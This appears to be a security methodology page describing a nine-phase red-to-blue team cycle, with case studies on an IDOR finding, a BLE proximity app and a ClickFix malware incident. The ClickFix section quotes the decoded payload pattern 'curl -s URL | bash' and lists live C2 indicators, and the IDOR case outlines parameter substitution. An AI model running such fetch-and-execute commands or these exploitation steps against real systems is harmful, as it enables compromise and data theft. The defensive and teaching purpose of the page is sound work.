Red Team to Blue Team: The 9-Phase Operational Cycle

Source: SDLC_PROTOCOL_REPORT.md (2026-07-22), playbook_bairesdev_appsec_alefita.md Cross-references: co-fita-sdlc-protocol, co-fita-green-mile, clickfix-incident-response, clickfix-attack-chain, camdom-architecture, co-fita-harness

The Complete Cycle

The Red Team to Blue Team loop is the mature operational workflow that connects offensive security findings to durable defensive controls. It is not a linear sequence -- it is a cycle where each iteration feeds the next.

graph LR
    R1[1. Recon] --> R2[2. Hypothesis]
    R2 --> R3[3. Exploit Safely]
    R3 --> R4[4. Prove Impact]
    R4 --> R5[5. Isolate Root Cause]
    R5 --> R6[6. Propose Layered Fix]
    R6 --> R7[7. Retest]
    R7 --> R8[8. Encode Control]
    R8 --> R9[9. Monitor Recurrence]
    R9 -.->|"cycle"| R1

Phase 1: Recon

Passive and active reconnaissance to understand the target system's architecture, endpoints, authentication mechanisms, and trust boundaries.

Output: Attack surface map.

Techniques

Technique	What It Reveals
API contract review (OpenAPI/Swagger)	Endpoint inventory, parameter types, auth requirements
Traffic interception (Burp Suite)	Runtime request/response patterns, hidden parameters
Binary inspection (JADX, Hopper)	Hardcoded secrets, API base URLs, obfuscation level
Process instrumentation (Frida)	Runtime behavior, certificate validation, auth flow
DNS and infrastructure enumeration	Service topology, third-party dependencies

CAMDOM Recon

For camdom-architecture, the recon phase mapped:

BLE advertising capabilities on Android and iOS
Cross-platform protocol differences (Android BLE vs. iOS CoreBluetooth)
Physical proximity detection accuracy via RSSI
Existing consent apps and their failure modes (cloud dependency, software locks, single-device)

ClickFix Recon

For clickfix-incident-response, the recon happened in real time:

Decoded the base64 clipboard payload (curl -s URL | bash)
Identified the domain hijack pattern (expired idetools.dev -> redirect to phishing page)
Mapped the 4-stage attack chain from initial payload to stealer exfiltration

Phase 2: Hypothesis

Formulate specific, testable claims about exploitable weaknesses. The hypothesis must be precise enough that a proof-of-concept either confirms or refutes it.

Output: Test plan.

Hypothesis Structure

A good hypothesis follows the pattern: "If [condition], then [exploitable consequence]."

Project	Hypothesis
Green-Mile	"If the gateway does not propagate ownership context, then the service cannot verify object-level authorization"
CAMDOM	"If proximity detection operates at the hardware (BLE) layer, software manipulation cannot bypass it"
ClickFix	"If the attacker's C2 uses blockchain dead-drops, DNS takedowns will not disrupt operations"
Kaggle	"If urgency framing is combined with context pressure, models will execute destructive actions"

The Hypothesis Must Be Falsifiable

The hypothesis is not a guess. It is a testable claim. If the exploit fails, the hypothesis is refuted and the red team must formulate a new one. This prevents confirmation bias in security testing -- you are trying to prove yourself wrong, not right.

Phase 3: Exploit Safely

Execute the hypothesis in a controlled manner. Proof, not damage.

Output: Proof of concept.

Safe Exploitation Techniques

Technique	Purpose	Safety Constraint
Frida hooks	Intercept and modify runtime behavior	Test environment only; never production
Burp Suite	Intercept and replay HTTP traffic	Use authorized test accounts
Certificate pinning bypass	Access encrypted traffic	Document the bypass method
APK decompilation	Extract client-side logic	Read-only analysis
Modified client	Test authorization bypass	Document every modification

The "Safely" Constraint

The exploitation phase is constrained: prove the vulnerability exists without causing harm. This means:

Use test data, not real customer data
Document every step for reproducibility
Do not exfiltrate data beyond what is needed to prove impact
Do not modify production state
Report immediately if accidental damage occurs

Green-Mile Exploitation

The IDOR exploitation at RD Saude was performed by:

Intercepting an address request with Burp Suite
Substituting the address_id parameter with a different user's ID
Observing that the API returned the other user's address without error
Documenting the request/response pair as proof of concept

This is a read-only operation. No data was modified. The proof was the response itself.

Phase 4: Prove Impact

Demonstrate what an attacker could achieve. Show the data that could be accessed, the actions that could be performed, the business consequences.

Output: Impact evidence.

Impact Evidence Requirements

Dimension	Evidence Type
Data exposure	Actual data returned by the exploit (redacted in reports)
Scope	Number of affected users, endpoints, or objects
Business consequence	Account takeover, financial fraud, regulatory violation
Regulatory exposure	LGPD, PCI DSS, SOC 2 implications
Reputational risk	Customer trust impact, media exposure potential

ClickFix Impact Proof

The clickfix-incident-response produced devastating impact evidence:

~/.passphrase -- the user's real password, stolen via a fake system dialog
~/.txid -- a tracking identifier linking the victim to the attacker's C2
Blockchain dead-drop contract -- immune to DNS takedowns
50+ cryptocurrency wallet extensions targeted by the stealer
Apple Notes exfiltration, Desktop/Documents file sweep

The impact was not theoretical. It was demonstrated with actual artifacts on the compromised system.

CAMDOM Impact Proof

For camdom-architecture, the impact proof worked differently:

Demonstrated that existing consent apps (cloud-based, software-only) could be bypassed by:
- Killing the app process (kill -9)
- Disabling network (airplane mode defeats cloud-dependent solutions)
- Using a modified APK without the lock functionality
Showed that CAMDOM's BLE proximity alarm could NOT be bypassed by software means
The alarm fires at the hardware layer, synchronized across devices in ~200ms

Phase 5: Isolate Root Cause

Determine why the vulnerability exists. Is it a missing control, a misconfigured gateway, an architectural gap, or a process failure?

Output: Root cause diagnosis.

Root Cause Categories

Category	Example
Missing control	No ownership verification at service layer
Misconfigured gateway	Authentication enforced but authorization context not propagated
Architectural gap	Client treated as trusted component
Process failure	No security review for new API endpoints
Dependency vulnerability	Third-party library with known CVE
Design flaw	Security model depends on client-side enforcement

Green-Mile Root Cause

The root cause of the IDOR vulnerability was architectural: the system lacked object-ownership verification as a service-layer invariant. This was not a bug in one endpoint -- it was a systemic gap that would manifest in every endpoint that served user-specific data.

The diagnosis chain:

IDOR exists in address endpoint -> missing ownership check
Missing ownership check -> service trusts gateway authentication as authorization
Service trusts gateway -> no authorization context propagation pattern
No pattern -> no API standard encoding ownership verification
No standard -> no security review process catching missing ownership checks

Each link in this chain is a separate root cause. Fixing only link 1 (patching the endpoint) leaves links 2-5 intact, guaranteeing recurrence.

ClickFix Root Cause

The root cause of the ClickFix compromise was a supply chain trust model failure: a link in an official GitHub repository README pointed to an expired domain that was hijacked. The trust chain was:

User trusts the redhat-developer/lsp4ij repository
Repository README links to idetools.dev
Domain expired and was re-registered by an attacker
Attacker sets up a 302 redirect to a phishing page
Phishing page injects clipboard payload via fake CAPTCHA

The root cause was not the user's behavior. It was the absence of domain-expiry monitoring in the repository maintenance process.

Phase 6: Propose Layered Fix

Design remediation at each layer: client, gateway, service, data, process. The fix must address the system, not just the symptom.

Output: Remediation plan.

The Layered Fix Model

See co-fita-green-mile for the complete 5-layer fix model. The principle: fix at every layer because no single layer is sufficient.

Layer	Role	Sufficient Alone?
Client	Friction (slow down casual attackers)	No
Gateway	Control plane (enforce decisions once)	No
Service	Authorization boundary (verify ownership)	Yes, but defense-in-depth requires others
Data	Minimize exposure (reduce what can leak)	No
Process	Prevent recurrence (encode the lesson)	No

ClickFix Layered Fix

The ClickFix remediation applied the same layered thinking:

Layer	Fix
Client	Browser terminal paste warnings; clipboard content inspection
Gateway	Domain expiry monitoring in CI/CD pipelines
Service	Repository link validation (check domain liveness before merge)
Data	Minimize credential storage; rotate immediately after compromise
Process	Encode the monitoring protocol (18h cycles) as a reusable control

Phase 7: Retest

Verify the fix works and has not introduced new vulnerabilities.

Output: Regression evidence.

Retest Requirements

Requirement	Method
Original exploit no longer works	Re-execute proof of concept against fixed system
No regression	Test related functionality for unintended breakage
No new vulnerabilities	Scan/check the modified code for new issues
Edge cases	Test boundary conditions (shared objects, admin override, concurrent access)

Verification Is Not Optional

The playbook states clearly: "The finding is not closed until proof exists that the fix works and has not introduced new issues." A finding without retest evidence is an open finding, regardless of whether a code change was merged.

Phase 8: Encode Control

Turn the lesson into a reusable control, standard, template, pipeline check, or design pattern.

Output: Durable control.

Control Encoding Methods

Method	Example	Persistence
Standard	"The server always verifies ownership"	Documentation + review checklist
Template	API contract template with ownership fields	Project scaffolding
Pipeline check	CI/CD rule: "every endpoint must have ownership annotation"	Automated enforcement
Design pattern	Gateway -> Service authorization context propagation	Architecture guide
Governance proposal	co-fita-governance proposal from failure observation	Automated deployment to `.agents/`

CAMDOM: The Protocol IS the Control

In camdom-architecture, the BLE proximity protocol itself is the encoded control. The packet format (c:0:125, s:a|session1, a:f|1|u), the leader election algorithm, the session handshake, the mutual disconnection protocol -- these are reusable patterns, not one-off implementations. Anyone building a proximity-based consent system can reuse these patterns.

Co-Fita: Governance as Control Encoding

The co-fita-governance system automates control encoding. When the orchestrator encounters a failure:

RedTeamAuditor detects the violation (Phase III)
GovernanceIntegration creates a proposal from the failure
Congress debates the proposal via Elo tournament
After chancela, the fix is deployed as a skill, rule, or hook to .agents/
The fix is now part of the system's permanent behavioral repertoire

This is Phase 8 automated and made recursive.

Phase 9: Monitor Recurrence

Track whether similar vulnerabilities appear in new code. Measure the control's effectiveness over time.

Output: Metrics and feedback.

Monitoring Methods

Method	What It Monitors
Automated scanning	New endpoints for missing ownership checks
Code review checklists	Manual verification at merge time
Incident tracking	Recurrence of similar vulnerability classes
Regression testing	Previously fixed issues remain fixed
Longitudinal observation	Adversary infrastructure evolution (ClickFix model)

ClickFix: 18-Hour Monitoring Cycles

The clickfix-incident-response monitoring protocol represents the most intensive form of recurrence monitoring:

IOC	Monitoring Method	Frequency
`sj98xe4.xyz` (C2 domain)	DNS resolution, HTTP headers, TLS cert	Every 18 hours
`0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0`	Polygon `eth_call` with selector `0x2686ecea`	Every 18 hours
`62.60.226.50` (fallback IP)	HTTP probe via Tor proxy	Every 18 hours
Phishing pages	Domain liveness check	Every 18 hours

This monitoring produced a predictive model: the attacker operates on calculated 40-day campaign windows with pre-emptive infrastructure rotation. The monitoring phase became a longitudinal threat intelligence study.

The Full Cycle: Three Case Studies

Green-Mile: API Authorization

Phase	Execution
Recon	API contract review, traffic interception, binary inspection
Hypothesis	"Gateway does not propagate ownership context to services"
Exploit	IDOR via `address_id` parameter substitution
Impact	Personal data exposure, PCI DSS violation, account manipulation
Root Cause	Missing ownership verification at service layer
Layered Fix	5-layer model (client through process)
Retest	Frida, Burp, manual testing confirming ownership checks
Encode	Ownership verification pattern as API standard
Monitor	Code review checklist for new API endpoints

ClickFix: APT Incident Response

Phase	Execution	Time
Recon	AI decoded base64 payload, identified attack chain	+1 second
Hypothesis	"Persistent threat -- LaunchAgent or login item"	+71 seconds
Exploit	Listed LaunchAgents, identified plist	+101 seconds
Impact	Found `~/.txid` and `~/.passphrase` -- password stolen	+145 seconds
Root Cause	KeepAlive: true + RunAtLoad: true = process respawns after kill	+122 seconds
Layered Fix	Unload LaunchAgent first, then kill; rotate password	+132 seconds
Retest	Verified no respawn, no SSH backdoors, no new users	+137 seconds
Encode	7 technical docs, simulation scripts, IOC database, monitoring protocol	~2 hours
Monitor	18-hour cycles: DNS, WHOIS, server headers, Polygon contract, TLS	Ongoing

CAMDOM: Physical Safety

Phase	Execution
Recon	Mapped threat surface: BLE range, cross-platform differences, existing app failures
Hypothesis	"Hardware-level BLE proximity detection cannot be bypassed by software"
Exploit	Tested BLE advertising ranges, cross-platform interop, RSSI reliability
Impact	Alarm fires at configurable distance; synchronized across devices in ~200ms
Root Cause	Traditional consent apps depend on cloud (blockable), software locks (killable), single-device (bypassable)
Layered Fix	BLE mesh with leader election, mutual session agreement, volume-forced alarm, no network dependency
Retest	429 commits of iteration; cross-platform BLE interop validated
Encode	The protocol itself is the reusable pattern for proximity-based consent
Monitor	The alarm system IS the monitoring -- breach of proximity boundary triggers synchronized response

The Through-Line

The same cycle operates at every level of abstraction:

Level	Red Team	Blue Team	Control Encoded
API endpoint	Pentester finds IDOR	Engineer adds ownership check	API standard requiring ownership verification
Mobile app	Researcher bypasses app lock	Engineer builds BLE proximity protocol	CAMDOM protocol specification
AI agent	Adversary exploits agent tooling	Engineer builds governance system	co-fita-governance proposal lifecycle
Supply chain	Attacker hijacks expired domain	Engineer builds monitoring protocol	18-hour IOC monitoring cycle
Research	ELO-RANKER identifies weak hypothesis	Research Director refines approach	unit-distance-methodology Generate-Debate-Evolve loop

The methodology is medium-agnostic. Whether you are fixing an API endpoint, building a BLE protocol, containing an APT, or improving a mathematical proof -- the cycle is the same: understand the threat, test the hypothesis, prove the impact, fix the system, encode the lesson, monitor for recurrence.

Operational Security in Practice

The ClickFix IR Was Not Improvised

The 160-second containment was possible because the operational methodology was internalized. The response was not a panicked reaction -- it was a trained application of the cycle compressed into real time:

The AI identified the threat (recon + hypothesis, 1 second)
The response understood the persistence mechanism before acting (root cause, 122 seconds)
The unload-before-kill strategy prevented respawn (layered fix, 132 seconds)
Verification confirmed containment (retest, 137 seconds)
The incident became a longitudinal study (encode + monitor, ongoing)

The critical insight: the loop did not stop at containment. The incident was transformed into a threat intelligence study with predictive models (40-day campaign window, BDDR blockchain C2). The finding became infrastructure. This is Phase 8 operating at its highest level.

Probing Guidelines

When probing live adversary infrastructure during the monitoring phase:

Rule	Implementation
Default proxy	Tor SOCKS5 (`localhost:9050`)
Fallback	Rotating proxy
Direct connection	Passive DNS/WHOIS only; never HTTP to adversary IPs
Kill after session	`docker stop tor-proxy`
Data sensitivity	Redact credentials, PII, identifying information with `[REDACTED]`
Ethical boundaries	Read-only recon only; no exploitation, no victim interaction

This document is alive. It evolves as the research evolves. Challenge it. Improve it. That is the protocol.